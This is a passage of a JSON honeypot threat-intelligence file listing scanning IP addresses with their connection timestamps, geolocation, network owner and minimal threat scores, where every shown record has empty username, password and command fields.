      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:05:42.866000+00:00",
        "last_seen_30d": "2026-05-13T19:26:03.016000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "106.40.136.146": {
      "attack_count": 2,
      "first_seen": "2026-05-18T21:48:30.215Z",
      "last_seen": "2026-05-18T21:48:43.488Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:48:30.215000+00:00",
        "last_seen_30d": "2026-05-18T21:49:53.990000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.173.158.215": {
      "attack_count": 2,
      "first_seen": "2026-05-06T20:54:10.899Z",
      "last_seen": "2026-05-06T20:54:24.033Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:54:10.899000+00:00",
        "last_seen_30d": "2026-05-06T20:55:26.405000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.211.103.215": {
      "attack_count": 2,
      "first_seen": "2026-05-06T03:50:14.270Z",
      "last_seen": "2026-05-06T03:50:27.003Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Petaling Jaya",
      "asn": 9534,
      "as_org": "Binariang Berhad",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T03:50:14.270000+00:00",
        "last_seen_30d": "2026-05-06T03:51:28.973000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.232.91.114": {
      "attack_count": 2,
      "first_seen": "2026-05-04T13:45:33.652Z",
      "last_seen": "2026-05-04T13:45:46.337Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T13:45:33.652000+00:00",
        "last_seen_30d": "2026-05-04T13:46:56.289000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.235.130.57": {
      "attack_count": 2,
      "first_seen": "2026-05-27T17:44:12.258Z",
      "last_seen": "2026-05-27T17:44:25.917Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T17:44:12.258000+00:00",
        "last_seen_30d": "2026-05-27T17:45:35.845000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.246.155.203": {
      "attack_count": 2,
      "first_seen": "2026-05-12T06:40:56.430Z",
      "last_seen": "2026-05-12T06:41:09.115Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:40:56.430000+00:00",
        "last_seen_30d": "2026-05-12T06:42:11.604000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.0.236.244": {
      "attack_count": 2,
      "first_seen": "2026-05-19T18:34:54.371Z",
      "last_seen": "2026-05-19T18:35:06.945Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bai\u00e3o",
      "asn": 264573,
      "as_org": "GNEX LTDA",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:34:54.371000+00:00",
        "last_seen_30d": "2026-05-19T18:36:09.290000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "154.57.222.183": {
      "attack_count": 2,
      "first_seen": "2026-05-10T05:52:10.116Z",
      "last_seen": "2026-05-10T05:52:22.509Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138655,
      "as_org": "Trans World Enterprise Services Private Limited",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T05:52:10.116000+00:00",
        "last_seen_30d": "2026-05-10T05:53:29.986000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "163.0.33.158": {
      "attack_count": 2,
      "first_seen": "2026-05-30T21:36:21.558Z",
      "last_seen": "2026-05-30T21:36:52.173Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhongshan",
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T21:36:21.558000+00:00",
        "last_seen_30d": "2026-05-30T21:37:56.888000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "165.90.126.52": {
      "attack_count": 2,
      "first_seen": "2026-05-23T06:39:59.126Z",
      "last_seen": "2026-05-23T06:40:12.278Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Cabo Verde",
      "country_code": "CV",
      "city": "Praia",
      "asn": 37517,
      "as_org": "CVTS1",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:39:59.126000+00:00",
        "last_seen_30d": "2026-05-23T06:41:19.846000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.158.188.76": {
      "attack_count": 2,
      "first_seen": "2026-05-13T18:05:17.558Z",
      "last_seen": "2026-05-13T18:05:30.897Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "New Caledonia",
      "country_code": "NC",
      "city": "Noumea",
      "asn": 56089,
      "as_org": "OFFRATEL",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T18:05:17.558000+00:00",
        "last_seen_30d": "2026-05-13T18:06:38.548000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.221.179.89": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:35:42.521Z",
      "last_seen": "2026-05-19T06:35:55.492Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Formiga",
      "asn": 52673,
      "as_org": "WI-MAX INTERNET LTDA",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:35:42.521000+00:00",
        "last_seen_30d": "2026-05-19T06:36:59+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.34.149.74": {
      "attack_count": 2,
      "first_seen": "2026-05-20T22:15:54.955Z",
      "last_seen": "2026-05-20T22:16:07.653Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Osaka",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T22:15:54.955000+00:00",
        "last_seen_30d": "2026-05-20T22:17:17.914000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.151.9.103": {
      "attack_count": 2,
      "first_seen": "2026-05-06T09:56:11.068Z",
      "last_seen": "2026-05-06T09:56:23.296Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Nogales",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T09:56:11.068000+00:00",
        "last_seen_30d": "2026-05-06T09:57:32.486000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.113.110.204": {
      "attack_count": 2,
      "first_seen": "2026-05-14T00:10:43.017Z",
      "last_seen": "2026-05-14T00:10:57.702Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Costa Rica",
      "country_code": "CR",
      "city": "San Jos\u00e9",
      "asn": 52263,
      "as_org": "Telecable Economico S.A.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T00:10:43.017000+00:00",
        "last_seen_30d": "2026-05-14T00:12:05.261000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "191.53.167.120": {
      "attack_count": 2,
      "first_seen": "2026-05-03T15:51:44.095Z",
      "last_seen": "2026-05-03T15:53:44.096Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Taubat\u00e9",
      "asn": 28202,
      "as_org": "MASTER SA",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:51:44.095000+00:00",
        "last_seen_30d": "2026-05-03T16:04:25.970000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "2.44.121.159": {
      "attack_count": 2,
      "first_seen": "2026-05-29T15:12:28.821Z",
      "last_seen": "2026-05-29T15:12:48.800Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Venice",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T15:12:28.821000+00:00",
        "last_seen_30d": "2026-05-29T15:13:54.673000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.238.32.106": {
      "attack_count": 2,
      "first_seen": "2026-05-23T07:30:54.503Z",
      "last_seen": "2026-05-23T07:31:06.239Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:30:54.503000+00:00",
        "last_seen_30d": "2026-05-23T07:32:16.437000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "211.192.10.172": {
      "attack_count": 2,
      "first_seen": "2026-05-15T21:11:11.500Z",
      "last_seen": "2026-05-15T21:11:23.550Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dongdaemun",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T21:11:11.500000+00:00",
        "last_seen_30d": "2026-05-15T21:12:32.306000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "212.47.158.51": {
      "attack_count": 2,
      "first_seen": "2026-05-12T03:10:21.938Z",
      "last_seen": "2026-05-12T03:10:35.227Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Ganja",
      "asn": 34170,
      "as_org": "Aztelekom LLC",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:10:21.938000+00:00",
        "last_seen_30d": "2026-05-12T03:11:43.119000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.125.244.55": {
      "attack_count": 2,
      "first_seen": "2026-05-06T03:05:43.658Z",
      "last_seen": "2026-05-06T03:05:56.990Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 38466,
      "as_org": "U Mobile Sdn Bhd",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T03:05:43.658000+00:00",
        "last_seen_30d": "2026-05-06T03:06:58.547000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.206.170.54": {
      "attack_count": 2,
      "first_seen": "2026-05-21T13:34:14.754Z",
      "last_seen": "2026-05-21T13:34:26.883Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T13:34:14.754000+00:00",
        "last_seen_30d": "2026-05-21T13:35:28.480000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.148.162.209": {
      "attack_count": 2,
      "first_seen": "2026-05-06T16:47:50.437Z",
      "last_seen": "2026-05-06T16:48:03.659Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 57016,
      "as_org": "Inform-Service TV Ltd.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:47:50.437000+00:00",
        "last_seen_30d": "2026-05-06T16:49:07.143000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.186.116.81": {
      "attack_count": 2,
      "first_seen": "2026-05-12T03:59:04.985Z",
      "last_seen": "2026-05-12T03:59:36.288Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:59:04.985000+00:00",
        "last_seen_30d": "2026-05-12T04:00:41.258000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.7.194.87": {
      "attack_count": 2,
      "first_seen": "2026-05-02T08:56:22.036Z",
      "last_seen": "2026-05-02T08:56:35.281Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Limoeiro de Anadia",
      "asn": 266607,
      "as_org": "REELU NET COMUNICACOES LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:56:22.036000+00:00",
        "last_seen_30d": "2026-05-02T08:57:35.951000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.226.185.135": {
      "attack_count": 2,
      "first_seen": "2026-05-08T10:54:59.241Z",
      "last_seen": "2026-05-08T10:56:59.246Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Isle of Man",
      "country_code": "IM",
      "city": "Douglas",
      "asn": 13122,
      "as_org": "Manx Telecom Trading Ltd",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:54:59.241000+00:00",
        "last_seen_30d": "2026-05-08T11:08:02.834000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "46.236.65.241": {
      "attack_count": 2,
      "first_seen": "2026-05-25T10:40:11.496Z",
      "last_seen": "2026-05-25T10:40:25.389Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Ume\u00e5",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T10:40:11.496000+00:00",
        "last_seen_30d": "2026-05-25T10:41:26.242000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.47.19.211": {
      "attack_count": 2,
      "first_seen": "2026-05-22T20:45:32.785Z",
      "last_seen": "2026-05-22T20:47:32.787Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:45:32.785000+00:00",
        "last_seen_30d": "2026-05-22T20:58:10.369000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.48.105.149": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:49:46.888Z",
      "last_seen": "2026-05-22T23:50:39.126Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
